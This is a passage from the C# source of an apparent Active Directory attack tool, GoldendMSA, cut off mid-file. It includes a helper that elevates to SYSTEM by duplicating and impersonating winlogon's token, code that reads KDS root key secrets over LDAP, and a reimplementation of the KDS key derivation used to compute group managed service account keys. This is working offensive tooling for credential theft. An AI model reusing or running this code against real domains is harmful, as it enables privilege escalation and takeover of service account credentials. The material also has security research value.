166 | }
167 |
168 | return 0;
169 |
170 | }
171 | public static bool IsHighIntegrity()
172 | {
173 | // returns true if the current process is running with adminstrative privs in a high integrity context
174 | WindowsIdentity identity = WindowsIdentity.GetCurrent();
175 | WindowsPrincipal principal = new WindowsPrincipal(identity);
176 | return principal.IsInRole(WindowsBuiltInRole.Administrator);
177 | }
178 | public static bool GetSystem()
179 | {
180 | // helper to elevate to SYSTEM for Kerberos ticket enumeration via token impersonation
181 | if (IsHighIntegrity())
182 | {
183 | IntPtr hToken = IntPtr.Zero;
184 |
185 | // Open winlogon's token with TOKEN_DUPLICATE accesss so ca can make a copy of the token with DuplicateToken
186 | Process[] processes = Process.GetProcessesByName("winlogon");
187 | IntPtr handle = processes[0].Handle;
188 |
189 | // TOKEN_DUPLICATE = 0x0002
190 | bool success = Interop.OpenProcessToken(handle, 0x0002, out hToken);
191 | if (!success)
192 | {
193 | Console.WriteLine("[!] GetSystem() - OpenProcessToken failed!");
194 | return false;
195 | }
196 |
197 | // make a copy of the NT AUTHORITY\SYSTEM token from winlogon
198 | // 2 == SecurityImpersonation
199 | IntPtr hDupToken = IntPtr.Zero;
200 | success = Interop.DuplicateToken(hToken, 2, ref hDupToken);
201 | if (!success)
202 | {
203 | Console.WriteLine("[!] GetSystem() - DuplicateToken failed!");
204 | return false;
205 | }
206 |
207 | success = Interop.ImpersonateLoggedOnUser(hDupToken);
208 | if (!success)
209 | {
210 | Console.WriteLine("[!] GetSystem() - ImpersonateLoggedOnUser failed!");
211 | return false;
212 | }
213 |
214 | // clean up the handles we created
215 | Interop.CloseHandle(hToken);
216 | Interop.CloseHandle(hDupToken);
217 |
218 | if (!IsSystem())
219 | {
220 | return false;
221 | }
222 |
223 | return true;
224 | }
225 | else
226 | {
227 | return false;
228 | }
229 | }
230 |
231 | /*
232 | * Description - Checks if the GUID is valid.
233 | */
234 | public static bool IsValidGuid(string input)
235 | {
236 | if (string.IsNullOrWhiteSpace(input))
237 | return false;
238 |
239 | return Guid.TryParse(input, out _);
240 | }
241 |
242 | /*
243 | * Description - checks if domain name is valid.
244 | */
245 | public static bool IsValidDomainFormatRegex(string domain)
246 | {
247 | if (string.IsNullOrWhiteSpace(domain))
248 | return false;
249 |
250 | // Remove trailing dot if present
251 | domain = domain.TrimEnd('.');
252 |
253 | // Check length
254 | if (domain.Length > 253)
255 | return false;
256 |
257 | // Regex pattern for domain validation
258 | string pattern = @"^([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?$";
259 |
260 | return Regex.IsMatch(domain, pattern, RegexOptions.IgnoreCase);
261 | }
262 |
263 | /*
264 | * Description - Looks if we are using SYSTEM user.
265 | */
266 | public static bool IsCurrentUserSystem()
267 | {
268 | try
269 | {
270 | using (var identity = WindowsIdentity.GetCurrent())
271 | {
272 | return identity.User?.Value == "S-1-5-18";
273 | }
274 | }
275 | catch (Exception ex)
276 | {
277 | Console.WriteLine($"Error checking system user: {ex.Message}");
278 | return false;
279 | }
280 | }
281 |
282 | public static bool IsSystem()
283 | {
284 | // returns true if the current user is "NT AUTHORITY\SYSTEM"
285 | var currentSid = WindowsIdentity.GetCurrent().User;
286 | return currentSid.IsWellKnown(WellKnownSidType.LocalSystemSid);
287 | }
288 |
289 | private static string[] stringArrayAttributeName =
290 | {
291 | "serviceprincipalname",
292 | "memberof"
293 | };
294 | private static string[] datetimeAttributes =
295 | {
296 | "lastlogon",
297 | "lastlogoff",
298 | "pwdlastset",
299 | "badpasswordtime",
300 | "lastlogontimestamp",
301 | };
302 | private static string[] dateStringAttributes =
303 | {
304 | "whenchanged",
305 | "whencreated"
306 | };
307 | private static string[] intAttributes =
308 | {
309 | "useraccountcontrol",
310 | "msds-supportedencryptiontypes"
311 | };
312 | }
313 | }
--------------------------------------------------------------------------------
/GoldendMSA/GetKey.cs:
--------------------------------------------------------------------------------
1 | using GoldendMSA.Unsafe;
2 | using System;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 |
6 | namespace GoldendMSA
7 | {
8 | public static class GetKey
9 | {
10 | public static void GetSidKeyLocal(
11 | byte[] securityDescriptor,
12 | int sDSize,
13 | RootKey rootKey,
14 | int l0KeyId,
15 | int l1KeyId,
16 | int l2KeyId,
17 | int accessCheckFailed,
18 | string domainName,
19 | string forestName,
20 | out GroupKeyEnvelope gke,
21 | out int gkeSize)
22 | {
23 | L0Key l0Key = ComputeL0Key(rootKey, l0KeyId);
24 |
25 | ComputeSidPrivateKey(
26 | l0Key,
27 | securityDescriptor, sDSize,
28 | l1KeyId,
29 | l2KeyId,
30 | accessCheckFailed,
31 | out byte[] l1Key,
32 | out byte[] l2Key);
33 |
34 | // There is another function that is being called if AccessCheckFailed != 0 which is ComputePublicKey - should not be relevant for us
35 | int guidExists = (rootKey.cn == Guid.Empty || rootKey.cn == null) ? 0 : 1; // we should get if we have this root key id.
36 |
37 | FormatReturnBlob(
38 | l0Key,
39 | guidExists,
40 | l1Key, l1KeyId,
41 | l2Key, l2KeyId,
42 | null, 0,
43 | domainName, forestName,
44 | out gke,
45 | out gkeSize);
46 | }
47 |
48 | private static L0Key ComputeL0Key(
49 | RootKey rootKey,
50 | int l0KeyId)
51 | {
52 | byte[] rootKeyGuid = rootKey.cn.ToByteArray();
53 |
54 | uint errCode = KdsCli.GenerateKDFContext(
55 | rootKeyGuid, l0KeyId,
56 | 0xffffffff, 0xffffffff,
57 | 0,
58 | out IntPtr kdfContextPtr,
59 | out int kdfContextSize,
60 | out int kdfContextFlag);
61 |
62 | if (errCode != 0)
63 | throw new Exception($"{nameof(ComputeL0Key)}:: {nameof(KdsCli.GenerateKDFContext)} failed with error code {errCode}");
64 |
65 | byte[] kdfContext = new byte[kdfContextSize];
66 | Marshal.Copy(kdfContextPtr, kdfContext, 0, kdfContextSize);
67 |
68 | byte[] generateDerivedKey = new byte[RootKey.KdsRootKeyDataSizeDefault];
69 | int labelSize = 0;
70 | byte[] label = null;
71 |
72 | errCode = KdsCli.GenerateDerivedKey(
73 | rootKey.msKdsKDFAlgorithmID,
74 | rootKey.msKdsKDFParam,
75 | rootKey.KDFParamSize,
76 | rootKey.KdsRootKeyData,
77 | rootKey.KdsRootKeyDataSize,
78 | kdfContext, kdfContextSize,
79 | ref kdfContextFlag,
80 | label, labelSize,
81 | 1, generateDerivedKey,
82 | RootKey.KdsRootKeyDataSizeDefault, 0);
83 |
84 | if (errCode != 0)
85 | throw new Exception($"{nameof(ComputeL0Key)}:: {nameof(KdsCli.GenerateDerivedKey)} failed with error code {errCode}");
86 |
87 | L0Key l0Key = new L0Key(rootKey, l0KeyId, generateDerivedKey);
88 |
89 | return l0Key;
90 | }
91 |
92 | private static void GenerateL1Key(
93 | byte[] securityDescriptor,
94 | int sDSize,
95 | L0Key l0Key,
96 | int l1KeyId,
97 | out byte[] derivedKey,
98 | out byte[] derivedKey2)
99 | {
100 | byte[] rootKeyGuid = l0Key.cn.ToByteArray();
101 | derivedKey = new byte[RootKey.KdsRootKeyDataSizeDefault];
102 | derivedKey2 = null;
103 |
104 | uint errCode = KdsCli.GenerateKDFContext(
105 | rootKeyGuid, (int)l0Key.L0KeyID,
106 | 0x1f, 0xffffffff, 1,
107 | out IntPtr kdfContextPtr,
108 | out int kdfContextSize,
109 | out int kdfContextFlag);
110 |
111 | if (errCode != 0)
112 | throw new Exception($"{nameof(GenerateL1Key)}:: {nameof(KdsCli.GenerateKDFContext)} failed with error code {errCode}");
113 |
114 | int kdfContextModifiedSize = kdfContextSize + sDSize;
115 | byte[] kdfContextModified = new byte[kdfContextModifiedSize];
116 |
117 | Marshal.Copy(kdfContextPtr, kdfContextModified, 0, kdfContextSize);
118 | Array.Copy(securityDescriptor, 0, kdfContextModified, kdfContextSize, sDSize);
119 |
120 | errCode = KdsCli.GenerateDerivedKey(
121 | l0Key.msKdsKDFAlgorithmID,
122 | l0Key.msKdsKDFParam,
123 | l0Key.KDFParamSize,
124 | l0Key.KdsRootKeyData,
125 | 64,
126 | kdfContextModified, kdfContextModifiedSize,
127 | ref kdfContextFlag,
128 | null, 0, 1,
129 | derivedKey,
130 | RootKey.KdsRootKeyDataSizeDefault, 0);
131 |
132 | if (errCode != 0)
133 | throw new Exception($"{nameof(GenerateL1Key)}:: {nameof(KdsCli.GenerateDerivedKey)} failed with error code {errCode}");
134 |
135 | // This section will be used if 0 0)
159 | {
160 | kdfContext[kdfContextFlag] = (byte)(l1KeyId - 1);
161 | derivedKey2 = new byte[RootKey.KdsRootKeyDataSizeDefault];
162 | generatedDerivedKey = derivedKey.ToArray();
163 |
164 | errCode = KdsCli.GenerateDerivedKey(
165 | l0Key.msKdsKDFAlgorithmID, l0Key.msKdsKDFParam,
166 | l0Key.KDFParamSize, generatedDerivedKey,
167 | 64, kdfContext,
168 | kdfContextSize, ref kdfContextFlag,
169 | null, 0,
170 | 1, derivedKey2,
171 | RootKey.KdsRootKeyDataSizeDefault, 0);
172 |
173 | if (errCode != 0)
174 | throw new Exception($"{nameof(GenerateL1Key)}:: {nameof(KdsCli.GenerateDerivedKey)} failed with error code {errCode}");
175 | }
176 |
177 | return;
178 | }
179 |
180 | private static void GenerateL2Key(
181 | L0Key l0Key,
182 | byte[] l1DerivedKey,
183 | int l1KeyId,
184 | int l2KeyId,
185 | out int flagKdfContext,
186 | out byte[] derivedKey)
187 | {
188 | byte[] rootKeyGuid = l0Key.cn.ToByteArray();
189 |
190 | derivedKey = new byte[RootKey.KdsRootKeyDataSizeDefault];
191 |
192 | uint errCode = KdsCli.GenerateKDFContext(
193 | rootKeyGuid, (int)l0Key.L0KeyID,
194 | l1KeyId, 0x1f,
195 | 2,
196 | out IntPtr kdfContextPtr,
197 | out int KDFContextSize,
198 | out flagKdfContext);
199 |
200 | if (errCode != 0)
201 | throw new Exception($"{nameof(GenerateL2Key)}:: {nameof(KdsCli.GenerateKDFContext)} failed with error code {errCode}");
202 |
203 | byte[] kdfContext = new byte[KDFContextSize];
204 | Marshal.Copy(kdfContextPtr, kdfContext, 0, KDFContextSize);
205 |
206 | int someFlag = 32 - l2KeyId;
207 |
208 | errCode = KdsCli.GenerateDerivedKey(
209 | l0Key.msKdsKDFAlgorithmID, l0Key.msKdsKDFParam,
210 | l0Key.KDFParamSize, l1DerivedKey,
211 | 64, kdfContext,
212 | KDFContextSize, ref flagKdfContext,
213 | null, 0,
214 | someFlag, derivedKey,
215 | RootKey.KdsRootKeyDataSizeDefault, 0);
216 |
217 | if (errCode != 0)
218 | throw new Exception($"{nameof(GenerateL2Key)}:: {nameof(KdsCli.GenerateDerivedKey)} failed with error code {errCode}");
219 |
220 | return;
221 | }
222 |
223 | private static void ComputeSidPrivateKey(
224 | L0Key l0Key,
225 | byte[] securityDescriptor,
226 | int sDSize,
227 | int l1KeyId,
228 | int l2KeyId,
229 | int accessCheckFailed,
230 | out byte[] l1Key,
231 | out byte[] l2Key)
232 | {
233 | GenerateL1Key(securityDescriptor, sDSize, l0Key, l1KeyId, out byte[] l1KeyFirst, out byte[] l2KeySecond);
234 |
235 | if (l2KeyId == 31 && accessCheckFailed == 0)
236 | {
237 | l1Key = l1KeyFirst.ToArray();
238 | l2Key = null;
239 | return;
240 | }
241 |
242 | GenerateL2Key(l0Key, l1KeyFirst, l1KeyId, l2KeyId, out int flag, out l2Key);
243 |
244 | if (l1KeyId > 0)
245 | l1Key = l2KeySecond.ToArray();
246 | else
247 | l1Key = null;
248 |
249 | return;
250 | }
251 |
252 | private static void FormatReturnBlob(
253 | L0Key l0Key,
254 | int guidExists,
255 | byte[] l1Key,
256 | int l1KeyID,
257 | byte[] l2Key,
258 | int l2KeyID,
259 | byte[] publicKey,
260 | int publicKeySize,
261 | string domainName,
262 | string forestName,
263 | out GroupKeyEnvelope gke,
264 | out int gkeSize
265 | )
266 | {
267 | gke = new GroupKeyEnvelope()
268 | {
269 | Version = 1,
270 | Reserved = 1263748171,
271 | L0Index = (int)l0Key.L0KeyID,
272 | L1Index = l1KeyID,
273 | L2Index = l2KeyID,
274 | RootKeyIdentifier = l0Key.cn,
275 | cbKDFAlgorithm = l0Key.msKdsKDFAlgorithmID.Length * 2 + 2,
276 | cbKDFParameters = l0Key.KDFParamSize,
277 | cbSecretAgreementAlgorithm = (l0Key.KdsSecretAgreementAlgorithmID.Length * 2 + 2),
278 | cbSecretAgreementParameters = l0Key.SecretAlgoritmParamSize,
279 | PrivateKeyLength = l0Key.PrivateKeyLength,
280 | PublicKeyLength = l0Key.PublicKeyLength,
281 | cbDomainName = domainName.Length * 2 + 2,
282 | cbForestName = forestName.Length * 2 + 2,
283 | KDFAlgorithm = l0Key.msKdsKDFAlgorithmID,
284 | KDFParameters = l0Key.msKdsKDFParam.ToArray(),
285 | SecretAgreementAlgorithm = l0Key.KdsSecretAgreementAlgorithmID,
286 | SecretAgreementParameters = l0Key.KdsSecretAgreementParam.ToArray(),
287 | DomainName = domainName,
288 | ForestName = forestName
289 | };
290 |
291 | int firstKeySize = 64;
292 | int secondKeySize = 64;
293 |
294 | if (publicKey != null)
295 | {
296 | secondKeySize = publicKeySize;
297 | firstKeySize = 0;
298 | }
299 | else if (l2KeyID == 31)
300 | {
301 | secondKeySize = 0;
302 | }
303 | else
304 | {
305 | if (l1KeyID == 0)
306 | {
307 | firstKeySize = 0;
308 | }
309 | }
310 | gke.cbL1Key = firstKeySize;
311 | gke.cbL2Key = secondKeySize;
312 | int isPublicKey = 0;
313 | gke.L1Key = null;
314 | gke.L2Key = null;
315 | if (publicKey != null)
316 | {
317 | isPublicKey |= 1;
318 | }
319 | isPublicKey |= 2;
320 | gke.isPublicKey = isPublicKey;
321 |
322 | if (firstKeySize != 0)
323 | {
324 | gke.L1Key = l1Key.ToArray();
325 | }
326 |
327 | if (secondKeySize != 0)
328 | {
329 | if (publicKey != null)
330 | {
331 | gke.L2Key = publicKey.ToArray();
332 | }
333 | else
334 | {
335 | gke.L2Key = l2Key.ToArray();
336 | }
337 | }
338 |
339 | gkeSize = 80 + gke.cbKDFAlgorithm +
340 | gke.cbKDFParameters + gke.cbSecretAgreementAlgorithm +
341 | gke.cbSecretAgreementParameters +
342 | gke.cbDomainName + gke.cbForestName +
343 | gke.cbL1Key + gke.cbL2Key;
344 | }
345 | }
346 |
347 | }
--------------------------------------------------------------------------------
/GoldendMSA/RootKey.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.DirectoryServices;
4 | using System.IO;
5 | using System.Linq;
6 | using System.Text;
7 |
8 | namespace GoldendMSA
9 | {
10 | public class RootKey
11 | {
12 | private static readonly string[] KdsRootKeyAttributes = {
13 | "msKds-SecretAgreementParam", "msKds-RootKeyData",
14 | "msKds-KDFParam", "msKds-KDFAlgorithmID",
15 | "msKds-CreateTime", "msKds-UseStartTime",
16 | "msKds-Version", "msKds-DomainID",
17 | "cn", "msKds-PrivateKeyLength",
18 | "msKds-PublicKeyLength",
19 | "msKds-SecretAgreementAlgorithmID" };
20 |
21 | public static int KdsRootKeyDataSizeDefault = 64;
22 | public int msKdsVersion { get; set; }
23 | public Guid cn { get; set; }
24 | public int ProbReserved { get; set; }
25 | public int msKdsVersion2 { get; set; }
26 | public int ProbReserved2 { get; set; }
27 | public string msKdsKDFAlgorithmID { get; set; }
28 | public byte[] msKdsKDFParam { get; set; }
29 | public int KDFParamSize { get; set; }
30 | public int ProbReserved3 { get; set; }
31 | public string KdsSecretAgreementAlgorithmID { get; set; }
32 | public byte[] KdsSecretAgreementParam { get; set; }
33 | public int SecretAlgoritmParamSize { get; set; }
34 | public int PrivateKeyLength { get; set; }
35 | public int PublicKeyLength { get; set; }
36 | public int ProbReserved4 { get; set; }
37 | public int ProbReserved5 { get; set; }
38 | public int ProbReserved6 { get; set; }
39 | public long flag { get; set; }
40 | public long flag2 { get; set; }
41 | public string KdsDomainID { get; set; }
42 | public long KdsCreateTime { get; set; }
43 | public long KdsUseStartTime { get; set; }
44 | public long ProbReserved7 { get; set; }
45 | public long KdsRootKeyDataSize { get; set; }
46 | public byte[] KdsRootKeyData { get; set; }
47 |
48 | private RootKey(SearchResult sr)
49 | {
50 | msKdsVersion = (int)sr.Properties["msKds-Version"][0];
51 | cn = Guid.Parse(sr.Properties["cn"][0].ToString());
52 | ProbReserved = 0;
53 | msKdsVersion2 = (int)sr.Properties["msKds-Version"][0];
54 | ProbReserved2 = 0;
55 | msKdsKDFAlgorithmID = sr.Properties["msKds-KDFAlgorithmID"][0].ToString();
56 | msKdsKDFParam = (byte[])sr.Properties["msKds-KDFParam"][0];
57 | KDFParamSize = msKdsKDFParam.Length;
58 | ProbReserved3 = 0;
59 | KdsSecretAgreementAlgorithmID = sr.Properties["msKds-SecretAgreementAlgorithmID"][0].ToString();
60 | KdsSecretAgreementParam = (byte[])sr.Properties["msKds-SecretAgreementParam"][0];
61 | SecretAlgoritmParamSize = KdsSecretAgreementParam.Length;
62 | PrivateKeyLength = (int)sr.Properties["msKds-PrivateKeyLength"][0];
63 | PublicKeyLength = (int)sr.Properties["msKds-PublicKeyLength"][0];
64 | ProbReserved4 = 0;
65 | ProbReserved5 = 0;
66 | ProbReserved6 = 0;
67 | flag = 1;
68 | flag2 = 1;
69 | KdsDomainID = sr.Properties["msKds-DomainID"][0].ToString();
70 | KdsCreateTime = (long)sr.Properties["msKds-CreateTime"][0];
71 | KdsUseStartTime = (long)sr.Properties["msKds-UseStartTime"][0];
72 | ProbReserved7 = 0;
73 | KdsRootKeyDataSize = 64;
74 | KdsRootKeyData = (byte[])sr.Properties["msKds-RootKeyData"][0];
75 | }
76 |
77 | public RootKey(string filePath)
78 | {
79 | if (!File.Exists(filePath))
80 | throw new FileNotFoundException("File not found", filePath);
81 |
82 | string[] lines = File.ReadAllLines(filePath);
83 | msKdsVersion = Int32.Parse(lines[0]);
84 | cn = Guid.Parse(lines[1]);
85 | ProbReserved = 0;
86 | msKdsVersion2 = Int32.Parse(lines[0]);
87 | ProbReserved2 = 0;
88 | msKdsKDFAlgorithmID = lines[2];
89 | msKdsKDFParam = Convert.FromBase64String(lines[3]);
90 | KDFParamSize = msKdsKDFParam.Length;
91 | ProbReserved3 = 0;
92 | KdsSecretAgreementAlgorithmID = lines[4];
93 | KdsSecretAgreementParam = Convert.FromBase64String(lines[5]);
94 | SecretAlgoritmParamSize = KdsSecretAgreementParam.Length;
95 | PrivateKeyLength = Int32.Parse(lines[6]);
96 | PublicKeyLength = Int32.Parse(lines[7]);
97 | ProbReserved4 = 0;
98 | ProbReserved5 = 0;
99 | ProbReserved6 = 0;
100 | flag = 1;
101 | flag2 = 1;
102 | KdsDomainID = lines[8];
103 | KdsCreateTime = long.Parse(lines[9]);
104 | KdsUseStartTime = long.Parse(lines[10]);
105 | ProbReserved7 = 0;
106 | KdsRootKeyDataSize = 64;
107 | KdsRootKeyData = Convert.FromBase64String(lines[11]);
108 | }
109 |
110 | public RootKey(byte[] rootKeyBytes)
111 | {
112 | int trackSize = 32;
113 | msKdsVersion = BitConverter.ToInt32(rootKeyBytes, 0);
114 | byte[] temp = new byte[16];
115 | Array.Copy(rootKeyBytes, 4, temp, 0, 16);
116 | cn = new Guid(temp);
117 | ProbReserved = BitConverter.ToInt32(rootKeyBytes, 20);
118 | msKdsVersion2 = BitConverter.ToInt32(rootKeyBytes, 24);
119 | ProbReserved2 = BitConverter.ToInt32(rootKeyBytes, 28);
120 | int msKdfAlgorithmIDSize = BitConverter.ToInt32(rootKeyBytes, trackSize);
121 | msKdsKDFAlgorithmID = System.Text.Encoding.Unicode.GetString(rootKeyBytes, trackSize + 4, msKdfAlgorithmIDSize);
122 | KDFParamSize = BitConverter.ToInt32(rootKeyBytes, trackSize + msKdfAlgorithmIDSize + 4);
123 | if (KDFParamSize > 0)
124 | {
125 | msKdsKDFParam = new byte[KDFParamSize];
126 | Array.Copy(rootKeyBytes, trackSize + msKdfAlgorithmIDSize + 8, msKdsKDFParam, 0, KDFParamSize);
127 | }
128 | else
129 | {
130 | msKdsKDFParam = null;
131 | }
132 | trackSize += msKdfAlgorithmIDSize + KDFParamSize + 8;
133 |
134 | ProbReserved3 = BitConverter.ToInt32(rootKeyBytes, trackSize);
135 | trackSize += 4;
136 |
137 | int kdsSecretAgreementAlgorithmIDSize = BitConverter.ToInt32(rootKeyBytes, trackSize);
138 | KdsSecretAgreementAlgorithmID = System.Text.Encoding.Unicode.GetString(rootKeyBytes, trackSize + 4, kdsSecretAgreementAlgorithmIDSize);
139 | SecretAlgoritmParamSize = BitConverter.ToInt32(rootKeyBytes, trackSize + kdsSecretAgreementAlgorithmIDSize + 4);
140 | if (SecretAlgoritmParamSize > 0)
141 | {
142 | KdsSecretAgreementParam = new byte[SecretAlgoritmParamSize];
143 | Array.Copy(rootKeyBytes, trackSize + msKdfAlgorithmIDSize + 8, KdsSecretAgreementParam, 0, SecretAlgoritmParamSize);
144 | }
145 | else
146 | {
147 | KdsSecretAgreementParam = null;
148 | }
149 | trackSize += kdsSecretAgreementAlgorithmIDSize + SecretAlgoritmParamSize + 8;
150 |
151 | PrivateKeyLength = BitConverter.ToInt32(rootKeyBytes, trackSize);
152 | PublicKeyLength = BitConverter.ToInt32(rootKeyBytes, trackSize + 4);
153 | ProbReserved4 = BitConverter.ToInt32(rootKeyBytes, trackSize + 8);
154 | ProbReserved5 = BitConverter.ToInt32(rootKeyBytes, trackSize + 12);
155 | ProbReserved6 = BitConverter.ToInt32(rootKeyBytes, trackSize + 16);
156 | flag = BitConverter.ToInt64(rootKeyBytes, trackSize + 20);
157 | flag2 = BitConverter.ToInt64(rootKeyBytes, trackSize + 28);
158 | trackSize += 36;
159 |
160 | int kdsDomainIDSize = BitConverter.ToInt32(rootKeyBytes, trackSize);
161 | KdsDomainID = System.Text.Encoding.Unicode.GetString(rootKeyBytes, trackSize + 4, kdsDomainIDSize);
162 | trackSize += kdsDomainIDSize + 4;
163 |
164 | KdsCreateTime = BitConverter.ToInt64(rootKeyBytes, trackSize);
165 | KdsUseStartTime = BitConverter.ToInt64(rootKeyBytes, trackSize + 8);
166 | ProbReserved7 = BitConverter.ToInt64(rootKeyBytes, trackSize + 16);
167 | KdsRootKeyDataSize = BitConverter.ToInt64(rootKeyBytes, trackSize + 24);
168 | if (KdsRootKeyDataSize > 0)
169 | {
170 | KdsRootKeyData = new byte[KdsRootKeyDataSize];
171 | Array.Copy(rootKeyBytes, trackSize + 32, KdsRootKeyData, 0, KdsRootKeyDataSize);
172 | }
173 | else
174 | {
175 | KdsRootKeyData = null;
176 | }
177 | }
178 |
179 | protected RootKey(RootKey rk)
180 | {
181 | this.msKdsVersion = rk.msKdsVersion;
182 | this.cn = rk.cn;
183 | this.ProbReserved = 0;
184 | this.msKdsVersion2 = rk.msKdsVersion;
185 | this.ProbReserved2 = 0;
186 | this.msKdsKDFAlgorithmID = rk.msKdsKDFAlgorithmID;
187 | this.msKdsKDFParam = rk.msKdsKDFParam.ToArray();
188 | this.KDFParamSize = rk.KDFParamSize;
189 | this.ProbReserved3 = rk.ProbReserved3;
190 | this.KdsSecretAgreementAlgorithmID = rk.KdsSecretAgreementAlgorithmID;
191 | this.KdsSecretAgreementParam = rk.KdsSecretAgreementParam.ToArray();
192 | this.SecretAlgoritmParamSize = rk.SecretAlgoritmParamSize;
193 | this.PrivateKeyLength = rk.PrivateKeyLength;
194 | this.PublicKeyLength = rk.PublicKeyLength;
195 | this.ProbReserved4 = rk.ProbReserved4;
196 | this.ProbReserved5 = rk.ProbReserved5;
197 | this.ProbReserved6 = rk.ProbReserved6;
198 | this.flag = rk.flag;
199 | this.flag2 = rk.flag2;
200 | this.KdsDomainID = rk.KdsDomainID;
201 | this.KdsCreateTime = rk.KdsCreateTime;
202 | this.KdsUseStartTime = rk.KdsUseStartTime;
203 | this.ProbReserved7 = rk.ProbReserved7;
204 | this.KdsRootKeyDataSize = rk.KdsRootKeyDataSize;
205 | this.KdsRootKeyData = rk.KdsRootKeyData.ToArray();
206 | }
207 |
208 | public static RootKey GetRootKeyByGuid(string forestName, Guid rootKeyId)
209 | {
210 | using (var rootDse = LdapUtils.GetRootDse(forestName))
211 | {
212 | string searchBase = rootDse.Properties["configurationNamingContext"].Value.ToString();
213 | string ldapFilter = $"(&(objectClass=msKds-ProvRootKey)(cn={rootKeyId}))";
214 |
215 | //Console.WriteLine($"searchBase={searchBase}; ldapFilter={ldapFilter}");
216 |
217 | var results = LdapUtils.FindInConfigPartition(forestName, ldapFilter, KdsRootKeyAttributes);
218 |
219 | if (results == null || results.Count == 0)
220 | return null;
221 |
222 | return new RootKey(results[0]);
223 | }
224 | }
225 |
226 | public static IEnumerable GetAllRootKeys(string forestName)
227 | {
228 | using (var rootDse = LdapUtils.GetRootDse(forestName))
229 | {
230 | string searchBase = rootDse.Properties["configurationNamingContext"].Value.ToString();
231 | string ldapFilter = $"(objectClass=msKds-ProvRootKey)";
232 |
233 | var results = LdapUtils.FindInConfigPartition(forestName, ldapFilter, KdsRootKeyAttributes);
234 |
235 | if (results == null || results.Count == 0)
236 | yield break;
237 |
238 | foreach (SearchResult sr in results)
239 | {
240 | RootKey rk = null;
241 | try
242 | {
243 | rk = new RootKey(sr);
244 | }
245 | catch (Exception ex)
246 | {
247 | Console.WriteLine($"WARNING: {sr.Properties["distinguishedName"][0]}: {ex.Message}");
248 | }
249 |
250 | if (rk != null)
251 | yield return rk;
252 | }
253 | }
254 | }
255 |
256 | protected byte[] Serialize()
257 | {
258 | int trackSize = 36;
259 | long rootKeySize = 124 + Encoding.Unicode.GetByteCount(msKdsKDFAlgorithmID) + msKdsKDFParam.Length + KdsSecretAgreementParam.Length
260 | + Encoding.Unicode.GetByteCount(KdsSecretAgreementAlgorithmID) + Encoding.Unicode.GetByteCount(KdsDomainID) + KdsRootKeyData.Length;
261 | byte[] rootKeyBytes = new byte[rootKeySize];
262 | BitConverter.GetBytes(msKdsVersion).CopyTo(rootKeyBytes, 0);
263 | cn.ToByteArray().CopyTo(rootKeyBytes, 4);
264 | BitConverter.GetBytes(ProbReserved).CopyTo(rootKeyBytes, 20);
265 | BitConverter.GetBytes(msKdsVersion2).CopyTo(rootKeyBytes, 24);
266 | BitConverter.GetBytes(ProbReserved2).CopyTo(rootKeyBytes, 28);
267 |
268 | byte[] msKdsKDFAlgorithmIDBytes = Encoding.Unicode.GetBytes(msKdsKDFAlgorithmID);
269 | BitConverter.GetBytes(msKdsKDFAlgorithmIDBytes.Length).CopyTo(rootKeyBytes, 32);
270 | msKdsKDFAlgorithmIDBytes.CopyTo(rootKeyBytes, trackSize);
271 | BitConverter.GetBytes(KDFParamSize).CopyTo(rootKeyBytes, trackSize + msKdsKDFAlgorithmIDBytes.Length);
272 | msKdsKDFParam.CopyTo(rootKeyBytes, trackSize + 4 + msKdsKDFAlgorithmIDBytes.Length);
273 | trackSize += msKdsKDFParam.Length + msKdsKDFAlgorithmIDBytes.Length + 4;
274 |
275 | BitConverter.GetBytes(ProbReserved3).CopyTo(rootKeyBytes, trackSize);
276 | trackSize += 4;
277 |
278 | byte[] kdsSecretAgreementAlgorithmIDBytes = Encoding.Unicode.GetBytes(KdsSecretAgreementAlgorithmID);
279 | BitConverter.GetBytes(kdsSecretAgreementAlgorithmIDBytes.Length).CopyTo(rootKeyBytes, trackSize);
280 | kdsSecretAgreementAlgorithmIDBytes.CopyTo(rootKeyBytes, trackSize + 4);
281 | BitConverter.GetBytes(SecretAlgoritmParamSize).CopyTo(rootKeyBytes, trackSize + 4 + Encoding.Unicode.GetByteCount(KdsSecretAgreementAlgorithmID));
282 | KdsSecretAgreementParam.CopyTo(rootKeyBytes, trackSize + Encoding.Unicode.GetByteCount(KdsSecretAgreementAlgorithmID) + 8);
283 | trackSize += KdsSecretAgreementParam.Length + Encoding.Unicode.GetByteCount(KdsSecretAgreementAlgorithmID) + 8;
284 |
285 | BitConverter.GetBytes(PrivateKeyLength).CopyTo(rootKeyBytes, trackSize);
286 | BitConverter.GetBytes(PublicKeyLength).CopyTo(rootKeyBytes, trackSize + 4);
287 | BitConverter.GetBytes(ProbReserved4).CopyTo(rootKeyBytes, trackSize + 8);
288 | BitConverter.GetBytes(ProbReserved5).CopyTo(rootKeyBytes, trackSize + 12);
289 | BitConverter.GetBytes(ProbReserved6).CopyTo(rootKeyBytes, trackSize + 16);
290 | BitConverter.GetBytes(flag).CopyTo(rootKeyBytes, trackSize + 20);
291 | BitConverter.GetBytes(flag2).CopyTo(rootKeyBytes, trackSize + 28);
292 | trackSize += 36;
293 |
294 | byte[] kdsDomainIDBytes = Encoding.Unicode.GetBytes(KdsDomainID);
295 | BitConverter.GetBytes(kdsDomainIDBytes.Length).CopyTo(rootKeyBytes, trackSize);
296 | kdsDomainIDBytes.CopyTo(rootKeyBytes, trackSize + 4);
297 | trackSize += Encoding.Unicode.GetByteCount(KdsDomainID) + 4;
298 |
299 | BitConverter.GetBytes(KdsCreateTime).CopyTo(rootKeyBytes, trackSize);
300 | BitConverter.GetBytes(KdsUseStartTime).CopyTo(rootKeyBytes, trackSize + 8);
301 | BitConverter.GetBytes(ProbReserved7).CopyTo(rootKeyBytes, trackSize + 16);
302 | BitConverter.GetBytes(KdsRootKeyDataSize).CopyTo(rootKeyBytes, trackSize + 24);
303 | KdsRootKeyData.CopyTo(rootKeyBytes, trackSize + 32);
304 |
305 | return rootKeyBytes;
306 | }
307 |
308 | public string ToBase64String()
309 | {
310 | return Convert.ToBase64String(this.Serialize());
311 | }
312 |
313 | public override string ToString()
314 | {
315 | string result = $"Guid:\t\t{this.cn}{Environment.NewLine}";
316 | result += $"Base64 blob:\t{this.ToBase64String()}{Environment.NewLine}";
